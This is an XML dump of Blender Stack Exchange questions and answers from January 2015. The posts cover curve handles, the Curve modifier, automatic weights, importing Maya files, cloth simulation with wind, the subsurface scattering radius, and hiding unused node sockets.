  <row Id="22952" PostTypeId="2" ParentId="22948" CreationDate="2015-01-09T19:39:52.433" Score="5" Body="&lt;p&gt;You can change the &lt;em&gt;Handle type&lt;/em&gt; of the selected control vertices to &lt;em&gt;Vector&lt;/em&gt; by pressing &lt;kbd&gt;V&lt;/kbd&gt; &lt;em&gt;&gt; Vector&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4anUD.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will make the segments between those vertices into straight lines.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-01-09T19:39:52.433" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22953" PostTypeId="2" ParentId="22949" CreationDate="2015-01-09T19:47:04.187" Score="14" Body="&lt;p&gt;You can hide the path normal markings by pressing &lt;kbd&gt;N&lt;/kbd&gt; and then finding the &lt;em&gt;Curve Display&lt;/em&gt; section. Under that un-tick &lt;em&gt;Normals&lt;/em&gt;. If you were referring to the handles (the red line), then that option is the next checkbox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5wTVc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="12" LastEditDate="2015-01-09T19:58:13.020" LastActivityDate="2015-01-09T19:58:13.020" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22954" PostTypeId="1" CreationDate="2015-01-09T19:49:46.607" Score="2" ViewCount="1141" Body="&lt;p&gt;I Need help with blender automatic weights. When I click automatic weights it moves parts of the head that doesn't have weights example on the last image, also when I do automatic weights it doesn't cover the correct area for the mesh example image 2.&lt;/p&gt;&#xA;&lt;h2&gt;Problem 1&lt;/h2&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XzPij.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Problem 2&lt;/h2&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PoApr.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="10888" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-01-09T19:55:49.190" Title="Blender automatic weights distorting mesh" Tags="&lt;rigging&gt;&lt;armature&gt;&lt;weight-painting&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="22955" PostTypeId="1" AcceptedAnswerId="22956" CreationDate="2015-01-09T20:10:41.697" Score="11" ViewCount="82979" Body="&lt;p&gt;I have Maya files from Maya 2012 (or 2013) and I was wondering if there was a way to import the Maya file into blender?&lt;/p&gt;&#xA;" OwnerUserId="10891" LastEditorUserId="2217" LastEditDate="2015-01-09T22:48:45.123" LastActivityDate="2021-04-05T12:07:52.070" Title="Is it possible to import a Maya file into blender?" Tags="&lt;import&gt;&lt;file-format&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22956" PostTypeId="2" ParentId="22955" CreationDate="2015-01-09T20:24:32.697" Score="9" Body="&lt;p&gt;Not directly (since the ma .. mb formats are closed or licensed I think? don't quote me), but you can export your model from Maya to a universal format that Blender supports such as &lt;code&gt;.abc&lt;/code&gt;, &lt;code&gt;.fbx&lt;/code&gt;, &lt;code&gt;.dae&lt;/code&gt; or &lt;code&gt;.obj&lt;/code&gt; and then import into Blender using the &lt;em&gt;File &gt; Import&lt;/em&gt; menu. Use either of the first two if you have an armature and .&lt;code&gt;fbx&lt;/code&gt; preferably if you have animation data.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="3710" LastEditDate="2020-02-15T09:04:59.673" LastActivityDate="2020-02-15T09:04:59.673" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22957" PostTypeId="1" AcceptedAnswerId="22959" CreationDate="2015-01-09T20:53:13.173" Score="4" ViewCount="84" Body="&lt;p&gt;I created a curve, but now i need to take all the object and curve it again, like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LHfxx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="12" LastEditDate="2015-01-09T21:28:03.833" LastActivityDate="2015-01-09T21:28:03.833" Title="How to curve an already made curve?" Tags="&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22959" PostTypeId="2" ParentId="22957" CreationDate="2015-01-09T21:04:30.133" Score="5" Body="&lt;p&gt;You can use the powerful &lt;em&gt;Curve&lt;/em&gt; modifier to do this. Make a curve to use as the factor, name it something you can remember, and then select the curve you want to bend and go to modifiers and add a &lt;em&gt;Curve&lt;/em&gt; modifier. You then will need to select the name of the curve you want to use as the factor, like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SqpRy.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now your curve should conform to the shape of the circle, however it may look a little odd:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TmZB7.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you need to do is select the circle and scale it to the desired size, you should end up with something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FNo38.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-01-09T21:04:30.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22960" PostTypeId="1" AcceptedAnswerId="22997" CreationDate="2015-01-09T21:51:48.337" Score="3" ViewCount="2606" Body="&lt;p&gt;I came across a model of a boat, and I tried to add some wind and cloth simulations to the sails and flags. The sails respond to the wind, but the flags do not, they just fall. In both cases I followed the same procedure:&lt;br&gt;&#xA;Get a bunch of vertices to act as the &quot;pinning vertex group&quot;, reduce the mass to about 0.02, reduce springing to 1, bending to 0.3, and check self-collision. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Initially, I thought that maybe they were too high to interact with the wind, so I put another wind source beside them, and still nothing. Also of note is the flag on top of the 3rd mast. I have no idea what is going on with that, but I have a feeling that it's a result of the mesh trying to fall, but it keeps interacting with itself to create a mess.&lt;br&gt;&#xA;&lt;a href=&quot;http://www.pasteall.org/blend/33734&quot; rel=&quot;nofollow&quot;&gt;My .blend file&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5927" LastEditorUserId="2217" LastEditDate="2015-01-10T01:40:05.910" LastActivityDate="2020-11-11T17:22:19.393" Title="Mesh with cloth simulation not responding to wind" Tags="&lt;physics&gt;&lt;cloth-simulation&gt;&lt;force-fields&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22961" PostTypeId="1" AcceptedAnswerId="22962" CreationDate="2015-01-09T21:56:39.023" Score="3" ViewCount="961" Body="&lt;p&gt;I am trying to make custom plants, and am wondering if there is a simple way to split/branch a curve, procedurally would be best. The Sapling addon doesn't really do what I need, but is the general sort of thing I want to accomplish (the &lt;em&gt;Branch Splitting&lt;/em&gt; part).&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-01-09T22:20:52.660" Title="Is it possible to branch a Bezier curve randomly?" Tags="&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22962" PostTypeId="2" ParentId="22961" CreationDate="2015-01-09T22:20:52.660" Score="3" Body="&lt;p&gt;You could try a &lt;a href=&quot;http://en.wikipedia.org/wiki/L-system&quot; rel=&quot;nofollow noreferrer&quot;&gt;L-system&lt;/a&gt;. To use curves the way you describe it would require scripting.&lt;/p&gt;&#xA;&lt;p&gt;There is a plugin for 2.6 available &lt;a href=&quot;https://github.com/ento/blender-lsystem-addon&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Related:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://algorithmicbotany.org/papers/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Algorithmic Botany&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-01-09T22:20:52.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22963" PostTypeId="1" CreationDate="2015-01-09T22:26:50.220" Score="4" ViewCount="3010" Body="&lt;p&gt;How to get Viewport Position, Direction, UpVector?&#xA;For Perspective and Ortho views.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is explanation Screenshot:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/agtyH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="911" LastEditorUserId="12" LastEditDate="2015-01-10T00:04:55.383" LastActivityDate="2015-03-04T15:05:17.363" Title="Viewport position and direction" Tags="&lt;python&gt;&lt;3d-view&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="22965" PostTypeId="2" ParentId="22937" CreationDate="2015-01-09T23:20:34.917" Score="3" Body="&lt;p&gt;These two lines are all you need to change the active camera's focal length. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cam = bge.logic.getCurrentScene().active_camera&#xA;cam.lens = 90.0 #or whatever value you want&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bge.logic.getCurrentScene().active_camera&lt;/code&gt; gets the active camera in the current scene.&lt;br&gt;&#xA;Then &lt;code&gt;cam.lens&lt;/code&gt; is accessing the lens attribute of the camera defined in line one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read through the docs about the &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_72_release/bge.types.KX_Camera.html#bge.types.KX_Camera&quot; rel=&quot;nofollow&quot;&gt;game camera&lt;/a&gt;, and you will see other properties you can get or set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do note that because &lt;em&gt;field of view&lt;/em&gt; and &lt;em&gt;focal length&lt;/em&gt; are related you can not set both &lt;code&gt;lens&lt;/code&gt; and &lt;code&gt;fov&lt;/code&gt; at once. Which ever value you set last will be the value that is used, and the other will be calculated for it.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-01-09T23:20:34.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22966" PostTypeId="2" ParentId="21797" CreationDate="2015-01-10T00:28:28.943" Score="3" Body="&lt;p&gt;What I've done for similar situations:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Parent the water (object plane watter?) to the boat collision mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add the rest of the water outside the two. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make a surf animation in the water enclosing the boat so that it roils up in front, but only when the boat moves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now when the boat moves, the hole moves with it. Brilliant huh?&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-01-10T00:28:28.943" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22967" PostTypeId="1" AcceptedAnswerId="22981" CreationDate="2015-01-10T02:24:23.787" Score="8" ViewCount="2582" Body="&lt;p&gt;Is there a way to hide output node sockets that have nothing plugged into them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would be really useful, for instance when I am using the light path (or any other input node) and I am only using one output and the other 9 are just wasting space.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastActivityDate="2015-01-10T16:41:42.730" Title="How can I hide unused node sockets?" Tags="&lt;nodes&gt;&lt;node-editor&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22968" PostTypeId="2" ParentId="22967" CreationDate="2015-01-10T02:46:55.163" Score="2" Body="&lt;p&gt;This can also be accomplished with some simple Python code. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.types.NodeSocket([bpy_struct])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Use the &lt;strong&gt;Hide&lt;/strong&gt; attribute, which has a value of false by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Visit the full documentation &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_70_release/bpy.types.NodeSocket.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;here&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-01-10T04:16:29.103" LastActivityDate="2015-01-10T04:16:29.103" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22969" PostTypeId="2" ParentId="22916" CreationDate="2015-01-10T02:48:33.493" Score="4" Body="&lt;p&gt;This is pretty much the exact same thing reworded for people who are new. And it's for faces.&#xA;Blender calculates which loop to select based on the distance from the center of your click. If it's to the left or right, it'll select the horizontal; up or down of the center, and blender selects the vertical loop.&lt;/p&gt;&#xA;&lt;p&gt;It really depends on which &lt;em&gt;side&lt;/em&gt; you right-click on. if I was trying to select the horizontal loop, I'd click on the spot right in between the two faces.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/voWe0.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Same for vertical, just click on the top edge.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/d8Oet.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;; it's the opposite for edge or vertex.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-01-10T02:48:33.493" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22970" PostTypeId="2" ParentId="13856" CreationDate="2015-01-10T03:05:02.690" Score="1" Body="&lt;p&gt;Sadly this feature will most likely never make it into the official release of blender. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As CoDEmanX said, &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It's not possible to implement it well in Python, as custom layer data propagates on actions like extrusion. So if you stored the selection state of edges or faces as a property of these elements, it would be copied over to the new elements when you extrude etc. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Also it is important to notice that there are some selection difficulties that would come into play. in spite of all that, there is &lt;a href=&quot;http://wiki.blender.org/index.php/Face/Edge_groups_proposal&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;a proposal&lt;/strong&gt;&lt;/a&gt; for such a feature, and it may become possible in the future.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-01-10T03:05:02.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22971" PostTypeId="2" ParentId="2834" CreationDate="2015-01-10T03:07:54.113" Score="6" Body="&lt;p&gt;In addition to this, while snapping is enabled, holding &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt; will move in smaller increments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In an orthographic view, zooming in until smaller grids are available will allow you to move to those smaller squares. The more you zoom in, the closer you can move stuff.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="6204" LastEditDate="2015-01-10T03:13:19.960" LastActivityDate="2015-01-10T03:13:19.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22972" PostTypeId="1" AcceptedAnswerId="22979" CreationDate="2015-01-10T03:17:58.313" Score="14" ViewCount="7624" Body="&lt;p&gt;What exactly does the &lt;em&gt;radius&lt;/em&gt; vector value on a subsurface scattering (SSS) shader do?  In his &lt;a href=&quot;http://www.blenderguru.com/tutorials/how-to-create-realistic-bread/#.VLCVeZU5DX4&quot; rel=&quot;noreferrer&quot;&gt;SSS tutorial&lt;/a&gt; (making realistic bread), Andrew Price says that the XYZ values translate to the RGB values of the scattered light.  But a lot has changed with SSS since that tutorial was made and that doesn't seem to be true anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does seem to have something to do with the scattering color, but it is not a simple XYZ to RGB thing.  Here are a couple renders I did:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/uTmkr.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/u5qUh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;(the sphere is 75% SSS and 25% white diffuse)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So [1 1 1] seems to be just white scattering, while a [0 1 1] vector gives a turquoiseish color.  Setting it to [1 0 1] gives a pinkish color and [1 1 0] produces a yellow scattering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Intuitively, I would think that radius would mean the distance that the rays are scattered from where they hit the surface.  But that would not change the color of the scattered rays and could be accomplished easily enough with a scalar value as opposed to a vector.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking for a technical, mathematical explanation of exactly what the radius value does.  I think I have a pretty good grasp on how SSS works, but it wouldn't hurt to explain that as well.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="241" LastEditDate="2020-05-27T13:27:42.103" LastActivityDate="2020-10-27T03:57:36.193" Title="What does the radius vector do on an SSS shader?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;nodes&gt;&lt;subsurface-scattering&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22973" PostTypeId="2" ParentId="12261" CreationDate="2015-01-10T03:20:46.563" Score="6" Body="&lt;p&gt;From the very nature of the &lt;em&gt;Skin&lt;/em&gt; modifier, this is not possible. Vertices do not have any rotational data, only location data. Because of this, it would be impossible to &quot;tilt&quot; the &lt;em&gt;Skin&lt;/em&gt; modifier result, as it uses vertices to interpolate the resulting mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of the examples I have seen the modeller is using curves. By using extrusion and bevel you can make great flat laces, and round ones are even easier. They also are completely editable at all times. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would strongly recommend using curves for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is one example &lt;a href=&quot;https://blender.stackexchange.com/questions/13393/is-it-possible-to-hide-curves-guides-in-edit-mode&quot;&gt;&lt;strong&gt;here&lt;/strong&gt;&lt;/a&gt; that you can see. There is also a solution for one of the issues you might run into.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2015-01-10T03:52:38.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22974" PostTypeId="2" ParentId="8419" CreationDate="2015-01-10T03:22:14.403" Score="3" Body="&lt;p&gt;For this kind of shot, where the camera hardly moves I don't think you're going to get good results using motion tracking. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is so little parallax information for the reconstruction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a detailed post on motion tracking read:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/42329/how-can-i-get-better-results-when-doing-camera-motion-tracking&quot;&gt;How can I get better results when doing camera motion tracking?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd suggest you stabilize the footage as if it was a fixed shot and then do the reconstruction using BLAM ( &lt;a href=&quot;https://github.com/stuffmatic/blam&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/stuffmatic/blam&lt;/a&gt; ).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; Blam is no longer mantained and has been replaced by &lt;strong&gt;Fspy&lt;/strong&gt;: &lt;a href=&quot;https://fspy.io/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://fspy.io/&lt;/a&gt;, but there is no importer for blender 2.79 or previous versions.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For a detailed post on how to use blam and Fspy read: &lt;strong&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/102697/how-can-i-recreate-geometry-using-a-photograph&quot;&gt;How can I recreate geometry using a photograph?&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2019-05-24T19:17:04.950" LastActivityDate="2019-05-24T19:17:04.950" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22975" PostTypeId="2" ParentId="19759" CreationDate="2015-01-10T03:23:54.203" Score="1" Body="&lt;p&gt;When you press&lt;kbd&gt;F&lt;/kbd&gt;, blender makes a face between all of the selected edges/vertices. &lt;em&gt;One face&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your example, you selected a whole lot of edges, and blender made one face spider-web between all of them. A proper n-gon (quadrilateral) has four edges, one face, and four vertices. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try just selecting &lt;em&gt;four&lt;/em&gt; vertices at one time. Then hit &lt;kbd&gt;F&lt;/kbd&gt;.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-01-10T03:23:54.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22976" PostTypeId="2" ParentId="22857" CreationDate="2015-01-10T03:31:16.353" Score="1" Body="&lt;p&gt;Especially for BGE (blender game engine) alpha textures would be the best due to limits on vertex count.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just make sure if you're using an masked image that you didn't create, that you have the proper licensing if you go public.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-01-10T03:31:16.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22977" PostTypeId="2" ParentId="21476" CreationDate="2015-01-10T03:34:19.300" Score="1" Body="&lt;p&gt;This is currently unsupported.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-01-10T03:34:19.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22978" PostTypeId="2" ParentId="21773" CreationDate="2015-01-10T03:40:05.487" Score="1" Body="&lt;p&gt;To build on @someonewithpc 's answer;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is generally used to set up &lt;strong&gt;render zones&lt;/strong&gt; where static doors or walls with occlude enabled hide rooms with complex geometry. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way is to parent an occlude to the back of the head of you character;&#xA;This will hide pretty much everything you can't see.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-01-10T03:40:05.487" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22979" PostTypeId="2" ParentId="22972" CreationDate="2015-01-10T03:58:20.140" Score="12" Body="&lt;p&gt;&lt;strong&gt;From the Blender Internal Wiki:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;RGB Radius:&lt;/strong&gt;&#xA;This is not in fact the radius of the subsurface scattering, but the average path length between scattering events. As the light travels through the object it bounces around then emerges from the surface at some other point. This value corresponds to the average length the light travels between each bounce. The longer the path length is, the further the light is allowed to scatter.&#xA;This is the main source of a material's perceived &amp;quot;scatter color.&amp;quot; A material like skin will have a higher red radius than green and blue. Subsurface scattering is the diffusion of light beneath the surface. You control how far the light spreads to achieve a specific result.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Basically you change the radius value for each of the three primary colors, which results in the efects you described in your question. In both render engines the Radius value does fundamentally the same thing.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;The Cycles wiki states:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Radius input:&lt;/strong&gt;&#xA;Scattering radius for each RGB color channel, the maximum distance that light can scatter.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;This is fundamentally the same as the Blender Internal engine.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/2.79/render/blender_render/materials/properties/subsurface_scattering.html#subsurface-scattering&quot; rel=&quot;nofollow noreferrer&quot;&gt;View the entire entry on the Blender Internal SS Shader.&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/render/shader_nodes/shader/sss.html#subsurface-scattering&quot; rel=&quot;nofollow noreferrer&quot;&gt;View the entire entry on the Cycles SS shader.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="15924" LastEditDate="2020-10-27T03:57:36.193" LastActivityDate="2020-10-27T03:57:36.193" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="22980" PostTypeId="2" ParentId="21819" CreationDate="2015-01-10T04:02:52.023" Score="2" Body="&lt;p&gt;As far as I know this is not possible in Blender, or hasn't been tried properly. You may be able to reproduce the effect, but you will have to develop the process in Blender yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other people have attempted to do this, but not successfully. As Gandalf said:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I played around with trying to get this effect in the compositor a while ago but was unsuccessful. I think I decided that the only way to access multiple frames at once was via a lot of image sequence nodes with different offsets. So this would be possible, but you'd need a separate image sequence node for every &quot;time pixel&quot;, or every horizontal bar in the case of the vertical gradient. Which means you'd certainly want to use python to add all those nodes :P&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-01-10T04:02:52.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22981" PostTypeId="2" ParentId="22967" CreationDate="2015-01-10T04:17:18.183" Score="15" Body="&lt;p&gt;Yes, this can be done by pressing &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;H&lt;/kbd&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/15dxm.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-01-10T04:17:18.183" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="22982" PostTypeId="2" ParentId="22946" CreationDate="2015-01-10T05:31:57.053" Score="2" Body="&lt;p&gt;Ok.  I seem to have found the problem.  The pivot point for rotations/scaling was set to 'individual origins'.  If I change it to 'active element' or 'median point' it works as I desire.  I don't quite understand why this change makes a difference, but it does.&#xA;Thanks for the input!  And if you know why this change matters, let me know!&lt;/p&gt;&#xA;" OwnerUserId="10887" LastActivityDate="2015-01-10T05:31:57.053" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22983" PostTypeId="2" ParentId="16622" CreationDate="2015-01-10T08:49:16.773" Score="3" Body="&lt;p&gt;The closest thing would be to select one vertex of a backface and select similar vertices &lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;G&lt;/kbd&gt; &lt;em&gt;Normal&lt;/em&gt; adjust the threshold in the last operator panel (Left to the viewport if not visible toggle with &lt;kbd&gt;T&lt;/kbd&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NE5Fy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and hide the selection &lt;kbd&gt;H&lt;/kbd&gt;, after editing unhide &lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;H&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: Hiding backfaces would only prevent Blender from filling them, all vertices,edges will still be selectable in &lt;em&gt;Edit Mode&lt;/em&gt;:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/35su3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-01-10T08:49:16.773" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
